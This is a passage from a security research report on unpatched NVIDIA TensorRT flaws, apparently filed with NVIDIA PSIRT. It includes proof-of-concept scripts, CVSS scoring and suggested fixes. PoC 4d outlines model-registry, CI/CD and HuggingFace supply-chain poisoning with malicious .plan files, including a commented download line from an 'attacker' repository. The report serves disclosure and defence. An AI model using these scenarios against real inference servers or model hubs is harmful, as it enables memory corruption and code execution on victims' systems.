| }, | |
| { | |
| "plugin": "EfficientNMS", | |
| "file": "plugin/efficientNMSPlugin/efficientNMSPlugin.cpp", | |
| "read_calls": "Various config fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| } | |
| ] | |
| print(f"Total affected plugins: {len(AFFECTED_PLUGINS)}") | |
| print() | |
| print("Severity distribution:") | |
| severities = {} | |
| for p in AFFECTED_PLUGINS: | |
| sev = p["severity"].split(" ")[0] | |
| severities[sev] = severities.get(sev, 0) + 1 | |
| for sev, count in sorted(severities.items(), key=lambda x: -x[1]): | |
| print(f" {sev}: {count}") | |
| print() | |
| print("Root cause: read<>() template (plugin/common/plugin.h:100) has no bounds parameter") | |
| print("Safe alternative: deserialize_value() (plugin/common/serialize.hpp:55) has bounds checking") | |
| print("17+ plugins use the unsafe path, 0 have been migrated to the safe path") | |
| ``` | |
| ### PoC 4d β Inference Server Attack Scenario | |
| ```python | |
| """ | |
| PoC 4d: Attack scenario via inference server (Triton / custom serving) | |
| Demonstrates the network-reachable attack path via AV:N. | |
| Triton Inference Server and custom TensorRT serving applications load | |
| engine files to serve inference requests. If the server accepts engine | |
| uploads or loads engines from a shared storage, the attacker can deliver | |
| the malicious .plan via network. | |
| Attack scenarios: | |
| 1. Model registry poisoning: attacker uploads malicious .plan to a | |
| shared model registry (S3, NFS, HuggingFace hub) | |
| 2. CI/CD artifact injection: attacker compromises a build pipeline | |
| that produces .plan files, injecting the malicious plugin data | |
| 3. Supply chain: attacker publishes a "fine-tuned" model on HuggingFace | |
| that includes a pre-compiled .plan with the malicious GridAnchor | |
| The inference server loads the engine on startup or model reload. | |
| No user interaction beyond the server loading the model is needed. | |
| """ | |
| # Scenario 1: Triton model repository | |
| # | |
| # Triton loads models from a model repository directory. If an attacker | |
| # can write to the repository (compromised CI, shared storage, insider): | |
| # | |
| # models/ | |
| # malicious_model/ | |
| # config.pbtxt # Triton config pointing to .plan | |
| # 1/ | |
| # model.plan # Our malicious .plan with GridAnchor overflow | |
| # | |
| # Triton loads model.plan on startup β GridAnchor deserialization triggers | |
| # heap OOB read β inference request triggers GPU OOB write | |
| # Scenario 2: Custom serving with engine download | |
| # | |
| # Many custom serving applications download engines from remote sources: | |
| # | |
| # import tensorrt as trt | |
| # import requests | |
| # | |
| # # Download "pre-compiled" engine from HuggingFace | |
| # r = requests.get("https://huggingface.co/attacker/model/resolve/main/model.plan") | |
| # engine_data = r.content | |
| # | |
| # runtime = trt.Runtime(logger) | |
| # engine = runtime.deserialize_cuda_engine(engine_data) | |
| # # β GridAnchor deserialization constructor runs here | |
| # # β heap OOB read occurs during this call | |
| # | |
| # context = engine.create_execution_context() | |
| # # β First inference triggers GPU OOB write via integer overflow | |
| # Scenario 3: Polygraphy + malicious .plan (chains with Finding 3) | |
| # | |
| # If the victim uses Polygraphy to inspect or debug the engine: | |
| # | |
| # polygraphy run --trt malicious.plan | |
| # # β Finding 3: engine_host_code_allowed = True (RCE via lean runtime) | |
| # # β Finding 4: GridAnchor heap OOB read during deserialization | |
| # # β Finding 4: GPU OOB write during inference | |
| # # | |
| # # Three independent vulnerabilities triggered by a single .plan file | |
| print("[*] Attack Scenario 1: Triton model repository poisoning") | |
| print(" Attacker writes malicious .plan to shared model repository") | |
| print(" Triton loads on startup β heap OOB + GPU OOB") | |
| print() | |
| print("[*] Attack Scenario 2: Custom serving engine download") | |
| print(" Application downloads .plan from HuggingFace/remote") | |
| print(" deserialize_cuda_engine() β heap OOB") | |
| print(" First inference β GPU OOB write") | |
| print() | |
| print("[*] Attack Scenario 3: Polygraphy chain (Finding 3 + 4)") | |
| print(" polygraphy run --trt malicious.plan") | |
| print(" β engine_host_code_allowed RCE (Finding 3)") | |
| print(" β GridAnchor heap OOB read (Finding 4, Part A)") | |
| print(" β GridAnchor GPU OOB write (Finding 4, Part B)") | |
| print(" Three vulnerabilities, one .plan file") | |
| ``` | |
| ### CVSS Justification | |
| | Metric | Value | Reasoning | | |
| |---|---|---| | |
| | Attack Vector | Network (AV:N) | Inference servers accept engine files from network clients; `.plan` files distributed remotely | | |
| | Attack Complexity | Low (AC:L) | Crafting a buffer with overflow values requires only struct packing | | |
| | Privileges Required | None (PR:N) | No authentication needed to distribute a `.plan` file | | |
| | User Interaction | None (UI:N) | Server loads engine automatically on startup/model reload | | |
| | Scope | Unchanged (S:U) | Same security scope (GPU/host memory) | | |
| | Confidentiality | High (C:H) | Heap OOB read leaks sensitive data; GPU OOB can read other tenants' data | | |
| | Integrity | High (I:H) | GPU OOB write corrupts memory, potential code execution | | |
| | Availability | High (A:H) | GPU OOB write of ~8.5GB crashes the GPU/context | | |
| --- | |
| ## Suggested Fixes | |
| ### Finding 3 | |
| Add an `allow_engine_host_code` parameter to `EngineFromBytes` and `EngineFromPath` (default `False`). Only set `engine_host_code_allowed = True` when the user explicitly opts in. Display a warning when enabled: | |
| ``` | |
| WARNING: Enabling engine_host_code_allowed. This engine will be allowed to | |
| load native code. Only enable this if you trust the source of this engine. | |
| ``` | |
| ### Finding 4 | |
| 1. Add bounds-checked `read<>()` overload accepting a remaining length parameter. Update all 17+ affected plugins. | |
| 2. Alternatively, migrate all plugins to `deserialize_value()` from `serialize.hpp` (which already has proper bounds checking). | |
| 3. Fix `getOutputDimensions` integer overflow: use `int64_t` for the multiplication, validate against `INT32_MAX` before returning. | |
| 4. Validate deserialized counts and dimensions are positive and within reasonable ranges. | |
| --- | |
| ## Patched Status | |
| Both findings are unpatched as of TensorRT 11.1.0 (HEAD `82d1dca`, Jul 2026). | |
| - **Finding 3:** `engine_host_code_allowed = True` present in both `EngineFromBytes` and `EngineFromPath` with no conditional. | |
| - **Finding 4:** `read<>()` template in `plugin.h:100-108` remains unchecked. `serialize.hpp` was patched with proper bounds checking but `read<>()` was never updated. No git log entries indicate a fix. | |
| --- | |
| ## Reporter | |
| aiden b β security researcher. | |
| Reported to NVIDIA PSIRT under ticket 6425536 on Jul 8, 2026. | |
| ## License | |
| This security research report is released under Apache-2.0, matching the TensorRT OSS license. The vulnerability described affects NVIDIA TensorRT, which is licensed under Apache-2.0. | |